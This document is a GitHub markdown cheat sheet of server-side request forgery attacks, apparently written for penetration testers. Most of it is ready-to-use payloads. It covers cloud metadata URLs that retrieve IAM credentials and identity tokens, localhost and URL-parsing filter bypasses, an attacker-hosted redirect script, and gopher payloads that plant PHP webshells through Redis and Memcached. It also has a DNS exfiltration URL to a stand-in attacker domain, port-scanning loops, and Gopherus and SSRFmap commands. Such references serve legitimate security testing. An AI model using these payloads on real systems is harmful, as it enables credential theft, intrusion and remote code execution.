Skip to content

Latest commit

 

History

History
501 lines (402 loc) · 10.5 KB

File metadata and controls

501 lines (402 loc) · 10.5 KB

Server-Side Request Forgery (SSRF)

Table of Contents


Basic SSRF

Quick Check (One-liner)

# Test SSRF with common internal targets
for target in "http://127.0.0.1" "http://localhost" "http://169.254.169.254/latest/meta-data/"; do curl -s "http://$rhost/fetch?url=$target"; done

Detection

Test for SSRF with external callback

# Start listener
nc -lvnp 80

# Or use Burp Collaborator / interactsh
interactsh-client

Common SSRF parameters

url=
uri=
path=
dest=
redirect=
redirect_uri=
out=
view=
page=
callback=
domain=
feed=
host=
to=
link=
load=
img=
src=
target=
proxy=

Common Targets

Internal services

http://127.0.0.1/
http://localhost/
http://127.0.0.1:80/
http://127.0.0.1:443/
http://127.0.0.1:22/
http://127.0.0.1:3306/
http://127.0.0.1:6379/
http://127.0.0.1:9200/

Internal network scanning

http://192.168.0.1/
http://10.0.0.1/
http://172.16.0.1/
http://192.168.1.1:8080/

Cloud Metadata Endpoints

AWS

Instance Metadata Service v1 (IMDSv1)

http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/meta-data/ami-id
http://169.254.169.254/latest/meta-data/hostname
http://169.254.169.254/latest/meta-data/local-hostname
http://169.254.169.254/latest/meta-data/local-ipv4
http://169.254.169.254/latest/meta-data/public-hostname
http://169.254.169.254/latest/meta-data/public-ipv4
http://169.254.169.254/latest/meta-data/iam/security-credentials/
http://169.254.169.254/latest/meta-data/iam/security-credentials/<ROLE_NAME>
http://169.254.169.254/latest/user-data
http://169.254.169.254/latest/dynamic/instance-identity/document

Instance Metadata Service v2 (IMDSv2) - Token required

# Get token
TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")

# Use token
curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/

Credentials extraction

http://169.254.169.254/latest/meta-data/iam/security-credentials/
http://169.254.169.254/latest/meta-data/iam/security-credentials/<ROLE_NAME>

Azure

Instance Metadata Service

http://169.254.169.254/metadata/instance?api-version=2021-02-01
http://169.254.169.254/metadata/instance/compute?api-version=2021-02-01
http://169.254.169.254/metadata/instance/network?api-version=2021-02-01

Managed Identity Token

http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/

Note: Azure requires header Metadata: true

curl -H "Metadata: true" "http://169.254.169.254/metadata/instance?api-version=2021-02-01"

Google Cloud (GCP)

Compute Metadata

http://169.254.169.254/computeMetadata/v1/
http://169.254.169.254/computeMetadata/v1/instance/
http://169.254.169.254/computeMetadata/v1/instance/hostname
http://169.254.169.254/computeMetadata/v1/instance/zone
http://169.254.169.254/computeMetadata/v1/instance/service-accounts/
http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token
http://169.254.169.254/computeMetadata/v1/project/
http://169.254.169.254/computeMetadata/v1/project/project-id

Note: GCP requires header Metadata-Flavor: Google

curl -H "Metadata-Flavor: Google" http://169.254.169.254/computeMetadata/v1/instance/

DigitalOcean

Droplet Metadata

http://169.254.169.254/metadata/v1/
http://169.254.169.254/metadata/v1/id
http://169.254.169.254/metadata/v1/hostname
http://169.254.169.254/metadata/v1/region
http://169.254.169.254/metadata/v1/interfaces/
http://169.254.169.254/metadata/v1/dns/
http://169.254.169.254/metadata/v1/user-data

Oracle Cloud

Instance Metadata

http://169.254.169.254/opc/v1/instance/
http://169.254.169.254/opc/v1/instance/metadata/
http://169.254.169.254/opc/v2/instance/
http://169.254.169.254/opc/v2/instance/metadata/

Alibaba Cloud

ECS Metadata

http://100.100.100.200/latest/meta-data/
http://100.100.100.200/latest/meta-data/instance-id
http://100.100.100.200/latest/meta-data/hostname
http://100.100.100.200/latest/meta-data/ram/security-credentials/

SSRF Protocols

HTTP/HTTPS

Standard HTTP request

http://127.0.0.1:80/
https://127.0.0.1:443/
http://internal-server/admin

File

Read local files (if file:// allowed)

file:///etc/passwd
file:///C:/Windows/System32/drivers/etc/hosts
file://localhost/etc/passwd

Gopher

Interact with TCP services (Redis, SMTP, etc.)

gopher://127.0.0.1:6379/_INFO
gopher://127.0.0.1:6379/_CONFIG%20GET%20*

Gopher format

gopher://<host>:<port>/_<payload>

URL encode newlines as %0d%0a

Dict

Dictionary service protocol

dict://127.0.0.1:6379/INFO
dict://127.0.0.1:6379/CONFIG%20GET%20*
dict://127.0.0.1:11211/stats

FTP

FTP requests

ftp://127.0.0.1:21/
ftp://user:pass@127.0.0.1:21/

Bypass Techniques

Localhost Bypass

Alternative representations of 127.0.0.1

http://127.0.0.1
http://localhost
http://127.1
http://127.0.1
http://0.0.0.0
http://0
http://2130706433         # Decimal
http://0x7f000001         # Hex
http://017700000001       # Octal
http://[::1]              # IPv6 localhost
http://[0:0:0:0:0:0:0:1]  # IPv6 full
http://[::ffff:127.0.0.1] # IPv6 mapped IPv4
http://127.0.0.1.nip.io
http://localtest.me
http://127.0.0.1.xip.io

CNAME to localhost

http://spoofed.burpcollaborator.net  # Configure DNS to resolve to 127.0.0.1

DNS Rebinding

Server that alternates between attacker IP and 127.0.0.1

# Use services like:
# - rbndr.us
# - lock.cmpxchg8b.com
# - A record switching

http://7f000001.c0a80001.rbndr.us/  # Alternates between 127.0.0.1 and 192.168.0.1

URL Bypass

URL parsing confusion

http://evil.com@127.0.0.1/
http://127.0.0.1#@evil.com/
http://127.0.0.1%23@evil.com/
http://127.0.0.1:80@evil.com/
http://evil.com\@127.0.0.1/
http://127.0.0.1%2523@evil.com/

Using credentials in URL

http://user:password@127.0.0.1/
http://expected-host@evil.com/

Subdomain bypass

http://127.0.0.1.evil.com/
http://evil.127.0.0.1.com/

Encoding Bypass

URL encoding

http://127.0.0.1 -> http://%31%32%37%2e%30%2e%30%2e%31
http://localhost -> http://%6c%6f%63%61%6c%68%6f%73%74

Double URL encoding

http://127.0.0.1 -> http://%25%33%31%25%33%32%25%33%37...

Unicode encoding

http://127.0.0.1 -> http://①②⑦.⓪.⓪.①

Redirect Bypass

Open redirect to bypass SSRF filters

# Host redirect script on attacker server
# redirect.php:
<?php header("Location: http://127.0.0.1:6379/"); ?>
http://$lhost/redirect.php?url=http://127.0.0.1/
http://attacker.com/redirect?url=http://169.254.169.254/

Use URL shorteners

http://bit.ly/xyz  # Shortened URL pointing to localhost

SSRF to RCE

Via Redis

Generate Gopher payload using Gopherus

python3 gopherus.py --exploit redis

Redis webshell via gopher

gopher://127.0.0.1:6379/_*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$34%0d%0a%0a%0a<?php system($_GET['cmd']); ?>%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$13%0d%0a/var/www/html%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$9%0d%0ashell.php%0d%0a*1%0d%0a$4%0d%0asave%0d%0a

Via Memcached

Memcached command injection

gopher://127.0.0.1:11211/_stats%0d%0a
gopher://127.0.0.1:11211/_set%20x%200%20100%2050%0d%0a<?php%20system($_GET['cmd']);%20?>%0d%0a

Via FastCGI

FastCGI RCE via Gopherus

python3 gopherus.py --exploit fastcgi

Payload to execute PHP

gopher://127.0.0.1:9000/_<fastcgi_payload>

Via Internal Services

Internal Jenkins

http://127.0.0.1:8080/script
# Execute Groovy script

Internal Elasticsearch

http://127.0.0.1:9200/_search?q=*
http://127.0.0.1:9200/_cat/indices

Internal Docker API

http://127.0.0.1:2375/containers/json
http://127.0.0.1:2375/images/json

Blind SSRF

Detect via timing differences

# Internal port open (fast response)
http://127.0.0.1:22/

# Internal port closed (slow/timeout)
http://127.0.0.1:12345/

Detect via external callback

# Use Burp Collaborator or interactsh
http://attacker.burpcollaborator.net/

# DNS-based detection
http://ssrf.$(hostname).attacker.com/

Port scanning via response time

# Fast response = port open
# Timeout = port closed or filtered
for port in 22 80 443 3306 6379 8080; do
    curl -o /dev/null -s -w "%{time_total}\n" "http://target.com/fetch?url=http://127.0.0.1:$port/"
done

Tools

Gopherus

Generate gopher payloads for SSRF exploitation

git clone https://github.com/tarunkant/Gopherus
cd Gopherus
python3 gopherus.py --exploit redis
python3 gopherus.py --exploit fastcgi
python3 gopherus.py --exploit mysql
python3 gopherus.py --exploit postgresql
python3 gopherus.py --exploit zabbix
python3 gopherus.py --exploit smtp

SSRFmap

SSRF exploitation tool

git clone https://github.com/swisskyrepo/SSRFmap
cd SSRFmap
python3 ssrfmap.py -r request.txt -p url -m portscan
python3 ssrfmap.py -r request.txt -p url -m readfiles
python3 ssrfmap.py -r request.txt -p url -m redis

Interactsh

Out-of-band detection

# Install
go install -v github.com/projectdiscovery/interactsh/cmd/interactsh-client@latest

# Run
interactsh-client

See Also